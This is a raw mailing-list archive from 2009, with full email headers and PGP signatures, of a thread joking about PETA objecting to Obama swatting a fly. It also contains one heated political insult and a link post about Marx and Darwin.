:content-type:content-transfer-encoding; b=q5hsD+ob4jFggQq8E+jRk23dAiTrUCnkTRM/eXP18FU2i2d2eabT0TsMGpM/asUcRy 5Q+yhw5aRW9K7lfkPuXgxkfvABgnN5RK7sWWBe5Cx1IRpln6McDUx/e46NnRGDKDMDyF LPmVHnLY5UsrqB0vxPOboyEKTZYEFWIaffCOo= MIME-Version: 1.0 In-Reply-To: References: Date: Thu, 18 Jun 2009 20:21:41 -0700 Message-ID: Subject: Re: [VoB]:I hereby resign from the human race... From: leaking pen To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: <_htiM.A.R6B.FRwOKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4400 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 642 they are sending him a "catch and release" bug catcher... I for one won't kill spiders except widows and recluses, much to the chagrin of my spider fearing wife. I capture them, and release them outside, so they can... EAT MORE FLIES! heh. On Thu, Jun 18, 2009 at 7:24 PM, John Berry wrote: > Maybe I have just misplaced my funnybone. > > But I just read some apparent "news" and if it isn't a joke, well I resign. > > PETA Wishes Obama Hadn't Swatted That Fly > > It seems this is actually serious and not something reported by the Onion, > it isn't April fools. > I am lost for words. > > People are irredeemable crazy, the end, adios. > > > From vortexb-l-request@eskimo.com Thu Jun 18 20:28:57 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5J3SttE015625; Thu, 18 Jun 2009 20:28:55 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5J3SsJB015605; Thu, 18 Jun 2009 20:28:54 -0700 Resent-Date: Thu, 18 Jun 2009 20:28:54 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=XogEZXMuBFW3b0lcMAIb8/d4eq1oBeQqPCN5q/mGH5s=; b=WVlnFVpNYrV/oZl4enB1SlY7OrsLan/2uS/7Dhoa1r6lp+4fAzbmWxkmMJ45JnDvzT fNF+aCTJosQbpTR4c+gYM9gIXmNZhyliyUF89lxwzrDkTav5pXdl9KEP5c3J6UvWaw+R gTxTxsxYC6E8u0aBBnTlqoNSmUYWyCvdr0lLo= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=ZMoXYA5uJsOhniCIf1PL0kenRJ6gIsoojbkjiwnpO+t8tEynjZFslnliVARTjXWhd3 QFy/pZa4MY0LF+NwOMOgnET4mZ9bYKghjrEdH3SZBIrIYvrbFjBWH4md5TFY+PEAxoWa qHZdhiu+bEz17OnVC5PVKulETavpt9JI+dPQA= MIME-Version: 1.0 In-Reply-To: References: From: Charles HOPE Date: Thu, 18 Jun 2009 23:28:33 -0400 Message-ID: <63ffa6020906182028y720dd2c5o7d918419761b5a7a@mail.gmail.com> Subject: Re: [VoB]:I hereby resign from the human race... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a267a7312c046cab1f8d Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4401 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 643 --001636c5a267a7312c046cab1f8d Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable So, is that kind then, or cruel? Oh, the absurdity when we apply human morals upon the animal kingdom! On Thu, Jun 18, 2009 at 11:21 PM, leaking pen wrote: > they are sending him a "catch and release" bug catcher... > > I for one won't kill spiders except widows and recluses, much to the > chagrin of my spider fearing wife. I capture them, and release them > outside, so they can... EAT MORE FLIES! heh. > > On Thu, Jun 18, 2009 at 7:24 PM, John Berry wrote: > > Maybe I have just misplaced my funnybone. > > > > But I just read some apparent "news" and if it isn't a joke, well I > resign. > > > > PETA Wishes Obama Hadn't Swatted That Fly > > > > It seems this is actually serious and not something reported by the > Onion, > > it isn't April fools. > > I am lost for words. > > > > People are irredeemable crazy, the end, adios. > > > > > > > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a267a7312c046cab1f8d Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable So, is that kind then, or cruel? Oh, the absurdity when we apply human mora= ls upon the animal kingdom!



On Th= u, Jun 18, 2009 at 11:21 PM, leaking pen <itsatrap@gmail.com> wrote:
they are sending = him a "catch and release" bug catcher...

I for one won't kill spiders except widows and recluses, much to the chagrin of my spider fearing wife. =A0I capture them, and release them
outside, so they can... EAT MORE FLIES! =A0heh.

On Thu, Jun 18, 2009 at 7:24 PM, John Berry<aether22@gmail.com> wrote:
> Maybe I have just misplaced my funnybone.
>
> But I just read some apparent "news" and if it isn't a j= oke, well I resign.
>
> PETA Wishes Obama Hadn't Swatted That Fly
>
> It seems this is actually serious and not something reported by the On= ion,
> it isn't April fools.
> I am lost for words.
>
> People are irredeemable crazy, the end, adios.
>
>
>




--
Never did I= see a second sun
Never did my skin touch a land of glass
Never did m= y rifle point but true
But in a land empty of enemies
Waiting for the= tick-tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a267a7312c046cab1f8d-- From vortexb-l-request@eskimo.com Thu Jun 18 20:32:53 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n5J3WpWD017726; Thu, 18 Jun 2009 20:32:51 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n5J3WoQK017717; Thu, 18 Jun 2009 20:32:50 -0700 Resent-Date: Thu, 18 Jun 2009 20:32:50 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=ndLVWItNMIqKZkzEBApY+1UCkcu+wJuYo92/6f5Z9vs=; b=rWuHmiUQLzYDmGD1bWIw0mU1UFKD/xSA++N+6qRnB69oSyPji81L1sNIfxNyzeTiAy 14TiUOnTprVxNX/83JQv6wAWwEFrKUs+ZofWhhiP7iGWe5JyFtUTy2xsm9MBb3utSB85 L9KFCEwuhqVR7Cim7NRMQdtJU5iaKyBNjclxw= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=iFZRT375lEcX8G13SuEd3nUaz6XqpfvRIEMbE7Wrcna/tGB2qoxAqT2nGkWoT6UXB/ jMpiCLop2OnI4aoBXtfRpAQE+Kcj8xIRhUIrWnVGKMS6Y868tyx3qn5hVkIv/RXQGYtn V+CpsWJOz9yg1GrmMqwWPfk2AbaTSDNiq5dYE= MIME-Version: 1.0 In-Reply-To: References: From: John Berry Date: Fri, 19 Jun 2009 15:26:19 +1200 Message-ID: Subject: Re: [VoB]:I hereby resign from the human race... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636e90c32ad6d65046cab176f Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4402 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 644 --001636e90c32ad6d65046cab176f Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sure, spiders I get but I thought "wouldn't kill a fly" was just a saying. I saw the video and my only thought was I wouldn't want to shake hands with him till he washed his hands. On Fri, Jun 19, 2009 at 3:21 PM, leaking pen wrote: > they are sending him a "catch and release" bug catcher... > > I for one won't kill spiders except widows and recluses, much to the > chagrin of my spider fearing wife. I capture them, and release them > outside, so they can... EAT MORE FLIES! heh. > > On Thu, Jun 18, 2009 at 7:24 PM, John Berry wrote: > > Maybe I have just misplaced my funnybone. > > > > But I just read some apparent "news" and if it isn't a joke, well I > resign. > > > > PETA Wishes Obama Hadn't Swatted That Fly > > > > It seems this is actually serious and not something reported by the > Onion, > > it isn't April fools. > > I am lost for words. > > > > People are irredeemable crazy, the end, adios. > > > > > > > > --001636e90c32ad6d65046cab176f Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Sure, spiders I get but I thought "wouldn't kill a fly" was j= ust a saying.

I saw the video and my only thought was I wouldn't= want to shake hands with him till he washed his hands.

On Fri, Jun 19, 2009 at 3:21 PM, leaking pen <itsatrap@gmail.com> wrote:
=
they are sending him a "catch and release" bug catcher...

I for one won't kill spiders except widows and recluses, much to the chagrin of my spider fearing wife. =A0I capture them, and release them
outside, so they can... EAT MORE FLIES! =A0heh.

On Thu, Jun 18, 2009 at 7:24 PM, John Berry<aether22@gmail.com> wrote:
> Maybe I have just misplaced my funnybone.
>
> But I just read some apparent "news" and if it isn't a j= oke, well I resign.
>
> PETA Wishes Obama Hadn't Swatted That Fly
>
> It seems this is actually serious and not something reported by the On= ion,
> it isn't April fools.
> I am lost for words.
>
> People are irredeemable crazy, the end, adios.
>
>
>


--001636e90c32ad6d65046cab176f-- From vortexb-l-request@eskimo.com Thu Jun 18 23:48:19 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5J6mGfK003199; Thu, 18 Jun 2009 23:48:16 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5J6mFnP003187; Thu, 18 Jun 2009 23:48:15 -0700 Resent-Date: Thu, 18 Jun 2009 23:48:15 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 18 Jun 2009 23:47:58 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:I hereby resign from the human race... Message-ID: <20090619064758.GA2995@shell.resist.ca> Reply-To: grok@resist.ca References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Revolutionary Guard, Tajikistan, Stepanakert, D-5, FIRE DOME I-band User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <1_znG.A.tx.vSzOKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4403 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 645 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Berry mounted the barricade and roared out: > Sure, spiders I get but I thought "wouldn't kill a fly" was just a saying. > > I saw the video and my only thought was I wouldn't want to shake hands with > him till he washed his hands. > > On Fri, Jun 19, 2009 at 3:21 PM, leaking pen wrote: I even catch and release outdoors insects that wander in by accident. Other vermin I squash. Mercilessly. No quarter given. None taken. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEUEARECAAYFAko7NJ0ACgkQB9bXLLhitTMERgCXY3qZb6C75G6Avcfo5NQLClgk ZQCePTAprd6p5BB4VU7Kh/xiLVrPnd0= =2MWG -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Fri Jun 19 06:55:10 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5JDt8SV009916; Fri, 19 Jun 2009 06:55:08 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5JDt4CU009898; Fri, 19 Jun 2009 06:55:04 -0700 Resent-Date: Fri, 19 Jun 2009 06:55:04 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=QAFVASllNvlU6wDbCx/znvTKgDwii7TSKe6zpfbhDx4=; b=luu8zJxTsMiXJqNg8XcVGI/G0XksrP843bFoIqPZeWD5PH4rE2lu/wnyhU5UEhVAkW fPco7DERczDcf3eDkEB18lfn82D5ynS/JcnQV+S9tR+LwGS2Tf4HDcnkJxEMD2xBRImN RUKzNU3Zd3yRpQYptG9w1DYbM22ZdHZlW0uAw= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=IDNYF5qpveStrvWkUYF3+oFSC7sms6PB7+NIYtjeOmyvb0B6GHDCpq4mUlXv2XMiGU hkDqZicEStqHJ/f3jgTroIWCYsiiH0Iue5TCE3IVh1U0k/HPdmB9kLhHvgZJot72zaFx 1Zb6YWZqCqJpeUAWw/Ry07TfbvsYkwwI2HtJ8= MIME-Version: 1.0 In-Reply-To: References: Date: Fri, 19 Jun 2009 08:55:03 -0500 Message-ID: Subject: Re: [VoB]:I hereby resign from the human race... From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4404 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 646 It was actually a Russian minibot spyfly. Terry On Thu, Jun 18, 2009 at 9:24 PM, John Berry wrote: > Maybe I have just misplaced my funnybone. > > But I just read some apparent "news" and if it isn't a joke, well I resign. > > PETA Wishes Obama Hadn't Swatted That Fly > > It seems this is actually serious and not something reported by the Onion, > it isn't April fools. > I am lost for words. > > People are irredeemable crazy, the end, adios. > > > From vortexb-l-request@eskimo.com Fri Jun 19 10:58:51 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5JHwmhO022597; Fri, 19 Jun 2009 10:58:48 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5JHwmaO022583; Fri, 19 Jun 2009 10:58:48 -0700 Resent-Date: Fri, 19 Jun 2009 10:58:48 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 19 Jun 2009 10:58:40 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:I hereby resign from the human race... Message-ID: <20090619175840.GA17823@shell.resist.ca> Reply-To: grok@resist.ca MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Armenia, SS-N-3a, RADARSAT, Tiblisi, Turkmenistan User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4405 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 647 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Terry Blanton mounted the barricade and roared out: > It was actually a Russian minibot spyfly. > > Terry I happen to have been the first one I know of to have put up a foto of the new U.S. dragofly spy bugs. Someone I knew was the first to spot one -- and snapped AFAIK the first public pix of it -- at at a rally in Washington D.C. Of course. So fuck off with the trolling, yanqui: you're the ones with all the spookiness on THIS planet. YOU'RE the enemy of Humankind. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAko70dAACgkQB9bXLLhitTPrIQCfWJQjOflFpGml6eeFExZhq6Wx 7xIAnRW1ZC9xUYwQ8bWXtmmjoP8rFqXX =2KLr -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Fri Jun 19 11:29:28 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n5JITOHY026285; Fri, 19 Jun 2009 11:29:25 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n5JITO3r026276; Fri, 19 Jun 2009 11:29:24 -0700 Resent-Date: Fri, 19 Jun 2009 11:29:24 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=ZcjymkUhoN4BhaDAk+W8HPkSzhn8SGSYEo9h0Ayvk8Y=; b=NFfxrq87Za7/p0ZHXiaxE+1LPNKq4x+nXgoaFKWeQHe39kyFQfQ5e4Y0RpMKVep3RC 9KtTRDYp74GEUazQMkLKvRfUOD4nUSE2FET9siQRCaICDcl9BbQV1bk+4wzOCSt8kpjH iLFALyPP9i6xpcsY3zRQ7sx7soW/Vpk+XOypg= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=nLMj18PFDXYNTR2XBN0Th8ur/RRFFeu9CJblO8dASgRu6+rx44KAn+BGgPI+XvHNIz R+VrFYSfg6OV5Q7EJIV8nUwby8jXeRRnLcWfT0+5DUIm899JE4ioRByeCBt9tkVX4sWI mLI9594S9fsHdjJYOZXmeUvfJvlpipwqMA4E4= MIME-Version: 1.0 In-Reply-To: <20090619175840.GA17823@shell.resist.ca> References: <20090619175840.GA17823@shell.resist.ca> From: Charles HOPE Date: Fri, 19 Jun 2009 14:28:56 -0400 Message-ID: <63ffa6020906191128t4c1aa96fq6c0c391e93d39abb@mail.gmail.com> Subject: Re: [VoB]:I hereby resign from the human race... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=0016e6dee96e09fb1a046cb7b43a Resent-Message-ID: <_CadsD.A.daG.Dk9OKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4406 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 648 --0016e6dee96e09fb1a046cb7b43a Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable And we were all getting along so nicely... On Fri, Jun 19, 2009 at 1:58 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Terry Blanton > mounted the barricade and roared out: > > > It was actually a Russian minibot spyfly. > > > > Terry > > I happen to have been the first one I know of to have put up a foto of > the new U.S. dragofly spy bugs. Someone I knew was the first to spot > one -- and snapped AFAIK the first public pix of it -- at at a rally > in Washington D.C. Of course. > > So fuck off with the trolling, yanqui: you're the ones with all the > spookiness on THIS planet. YOU'RE the enemy of Humankind. > > > - -- grok. > > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAko70dAACgkQB9bXLLhitTPrIQCfWJQjOflFpGml6eeFExZhq6Wx > 7xIAnRW1ZC9xUYwQ8bWXtmmjoP8rFqXX > =3D2KLr > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --0016e6dee96e09fb1a046cb7b43a Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable And we were all getting along so nicely...


On Fri, Jun 19, 2009 at 1:58 PM, grok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Terry Blanton <hohlraum@gmail.com>
mounted the barricade and roared out:

> It was actually a Russian minibot spyfly.
>
> Terry

I happen to have been the first one I know of to have put up a foto o= f
the new U.S. dragofly spy bugs. Someone I knew was the first to spot
one -- and snapped AFAIK the first public pix of it -- at at a rally
in Washington D.C. Of course.

So fuck off with the trolling, yanqui: you're the ones with all the
spookiness on THIS planet. YOU'RE the enemy of Humankind.


- -- grok.








- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
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Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAko70dAACgkQB9bXLLhitTPrIQCfWJQjOflFpGml6eeFExZhq6Wx
7xIAnRW1ZC9xUYwQ8bWXtmmjoP8rFqXX
=3D2KLr
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--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--0016e6dee96e09fb1a046cb7b43a-- From vortexb-l-request@eskimo.com Fri Jun 19 21:30:00 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5K4TsZ8017082; Fri, 19 Jun 2009 21:29:54 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5K4TrH5017071; Fri, 19 Jun 2009 21:29:53 -0700 Resent-Date: Fri, 19 Jun 2009 21:29:53 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 19 Jun 2009 21:29:41 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:I hereby resign from the human race... Message-ID: <20090620042940.GA6427@shell.resist.ca> Reply-To: grok@resist.ca References: <20090619175840.GA17823@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: SUR, Advanced Extremely High Frequency, TOMB STONE, Vladimir Illich Lenin, Turkmenistan-Afghanistan-Pakistan-India pipeline User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4407 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 649 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Terry Blanton mounted the barricade and roared out: > We have met the enema and it are us! And I must be from Lower Slobovia. And the rest of youse is all Shmoos. - -- grok. - -- Beware the bait & switch fraud: "Social Justice" is NOT Socialism! Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAko8ZbQACgkQB9bXLLhitTMf8gCgiXoxR2XPnI8RM4Kg+J9yzzy4 xVEAmgOp1hOoBpojVqOwzmxricpf81tD =BP6l -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sat Jun 20 20:12:07 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5L3C4Bb032411; Sat, 20 Jun 2009 20:12:04 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5L3BxBk032394; Sat, 20 Jun 2009 20:11:59 -0700 Resent-Date: Sat, 20 Jun 2009 20:11:59 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 20 Jun 2009 20:11:51 -0700 From: grok To: vortexb-l@eskimo.com Message-ID: <20090621031151.GA2509@shell.resist.ca> Reply-To: grok@resist.ca MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Roswell, H-6, electronic countermeasures, tracking, Nuclear Management Information Systems User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4408 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Marx and Darwin: Two great revolutionary thinkers of the nineteenth century Status: O X-Status: X-Keywords: X-UID: 650 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Those of you whose knuckles don't drag along the ground when they walk might find this interesting. - -- grok. MARX AND DARWIN: TWO GREAT REVOLUTIONARY THINKERS OF THE NINETEENTH CENTURY: - -- Beware the bait & switch fraud: "Social Justice" is NOT Socialism! Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAko9pPYACgkQB9bXLLhitTOaCACeLAHsOYT9cKTMYMJ299bzx1g2 hVoAn1mnMOsJcpui/jQyq6MKZT9Xdwe5 =3Htp -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sat Jun 20 20:25:18 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5L3PB9X002761; Sat, 20 Jun 2009 20:25:11 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5L3PAdR002753; Sat, 20 Jun 2009 20:25:10 -0700 Resent-Date: Sat, 20 Jun 2009 20:25:10 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 20 Jun 2009 20:25:02 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:I hereby resign from the human race... Message-ID: <20090621032502.GB2509@shell.resist.ca> Reply-To: grok@resist.ca References: <20090619175840.GA17823@shell.resist.ca> <20090620042940.GA6427@shell.resist.ca> <0jgq35hinu8d7dijhsbbig3ktf66upe412@4ax.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <0jgq35hinu8d7dijhsbbig3ktf66upe412@4ax.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Roswell, H-6, electronic countermeasures, tracking, Nuclear Management Information Systems User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <58M8SD.A.7q.WgaPKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4409 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 651 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Fields mounted the 